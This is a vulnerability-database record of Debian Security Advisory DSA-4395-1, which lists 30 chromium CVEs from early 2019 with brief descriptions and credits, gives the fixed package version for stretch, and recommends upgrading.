[{"lastseen": "2020-08-12T01:07:01", "bulletinFamily": "unix", "cvelist": ["CVE-2019-5766", "CVE-2019-5769", "CVE-2019-5758", "CVE-2019-5767", "CVE-2019-5777", "CVE-2019-5772", "CVE-2019-5763", "CVE-2019-5776", "CVE-2019-5764", "CVE-2019-5755", "CVE-2019-5762", "CVE-2019-5757", "CVE-2019-5768", "CVE-2019-5754", "CVE-2019-5782", "CVE-2019-5779", "CVE-2019-5756", "CVE-2019-5770", "CVE-2019-5778", "CVE-2018-17481", "CVE-2019-5775", "CVE-2019-5773", "CVE-2019-5780", "CVE-2019-5784", "CVE-2019-5765", "CVE-2019-5781", "CVE-2019-5759", "CVE-2019-5783", "CVE-2019-5760", "CVE-2019-5774"], "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-4395-1 security@debian.org\nhttps://www.debian.org/security/ Michael Gilbert\nFebruary 18, 2019 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : chromium\nCVE ID : CVE-2018-17481 CVE-2019-5754 CVE-2019-5755 CVE-2019-5756\n CVE-2019-5757 CVE-2019-5758 CVE-2019-5759 CVE-2019-5760\n CVE-2019-5762 CVE-2019-5763 CVE-2019-5764 CVE-2019-5765\n CVE-2019-5766 CVE-2019-5767 CVE-2019-5768 CVE-2019-5769\n CVE-2019-5770 CVE-2019-5772 CVE-2019-5773 CVE-2019-5774\n CVE-2019-5775 CVE-2019-5776 CVE-2019-5777 CVE-2019-5778\n CVE-2019-5779 CVE-2019-5780 CVE-2019-5781 CVE-2019-5782\n CVE-2019-5783 CVE-2019-5784\n\nSeveral vulnerabilities have been discovered in the chromium web browser.\n\nCVE-2018-17481\n\n A use-after-free issue was discovered in the pdfium library.\n\nCVE-2019-5754\n\n Klzgrad discovered an error in the QUIC networking implementation.\n\nCVE-2019-5755\n\n Jay Bosamiya discovered an implementation error in the v8 javascript\n library.\n\nCVE-2019-5756\n\n A use-after-free issue was discovered in the pdfium library.\n\nCVE-2019-5757\n\n Alexandru Pitis discovered a type confusion error in the SVG image\n format implementation.\n\nCVE-2019-5758\n\n Zhe Jin discovered a use-after-free issue in blink/webkit.\n\nCVE-2019-5759\n\n Almog Benin discovered a use-after-free issue when handling HTML pages\n containing select elements.\n\nCVE-2019-5760\n\n Zhe Jin discovered a use-after-free issue in the WebRTC implementation.\n\nCVE-2019-5762\n\n A use-after-free issue was discovered in the pdfium library.\n\nCVE-2019-5763\n\n Guang Gon discovered an input validation error in the v8 javascript\n library.\n\nCVE-2019-5764\n\n Eyal Itkin discovered a use-after-free issue in the WebRTC implementation.\n\nCVE-2019-5765\n\n Sergey Toshin discovered a policy enforcement error.\n\nCVE-2019-5766\n\n David Erceg discovered a policy enforcement error.\n\nCVE-2019-5767\n\n Haoran Lu, Yifan Zhang, Luyi Xing, and Xiaojing Liao reported an error\n in the WebAPKs user interface.\n\nCVE-2019-5768\n\n Rob Wu discovered a policy enforcement error in the developer tools.\n\nCVE-2019-5769\n\n Guy Eshel discovered an input validation error in blink/webkit.\n\nCVE-2019-5770\n\n hemidallt discovered a buffer overflow issue in the WebGL implementation.\n\nCVE-2019-5772\n\n Zhen Zhou discovered a use-after-free issue in the pdfium library.\n\nCVE-2019-5773\n\n Yongke Wong discovered an input validation error in the IndexDB\n implementation.\n\nCVE-2019-5774\n\n Jnghwan Kang and Juno Im discovered an input validation error in the\n SafeBrowsing implementation.\n\nCVE-2019-5775\n\n evil1m0 discovered a policy enforcement error.\n\nCVE-2019-5776\n\n Lnyas Zhang discovered a policy enforcement error.\n\nCVE-2019-5777\n\n Khalil Zhani discovered a policy enforcement error.\n\nCVE-2019-5778\n\n David Erceg discovered a policy enforcement error in the Extensions\n implementation.\n\nCVE-2019-5779\n\n David Erceg discovered a policy enforcement error in the ServiceWorker\n implementation.\n\nCVE-2019-5780\n\n Andreas Hegenberg discovered a policy enforcement error.\n\nCVE-2019-5781\n\n evil1m0 discovered a policy enforcement error.\n\nCVE-2019-5782\n\n Qixun Zhao discovered an implementation error in the v8 javascript library.\n\nCVE-2019-5783\n\n Shintaro Kobori discovered an input validation error in the developer\n tools.\n\nCVE-2019-5784\n\n Lucas Pinheiro discovered an implementation error in the v8 javascript\n library.\n\nFor the stable distribution (stretch), these problems have been fixed in\nversion 72.0.3626.96-1~deb9u1.\n\nWe recommend that you upgrade your chromium packages.\n\nFor the detailed security status of chromium please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/chromium\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org\n", "edition": 8, "modified": "2019-02-19T02:49:35", "published": "2019-02-19T02:49:35", "id": "DEBIAN:DSA-4395-1:E48C1", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2019/msg00036.html", "title": "[SECURITY] [DSA 4395-1] chromium security update", "type": "debian", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}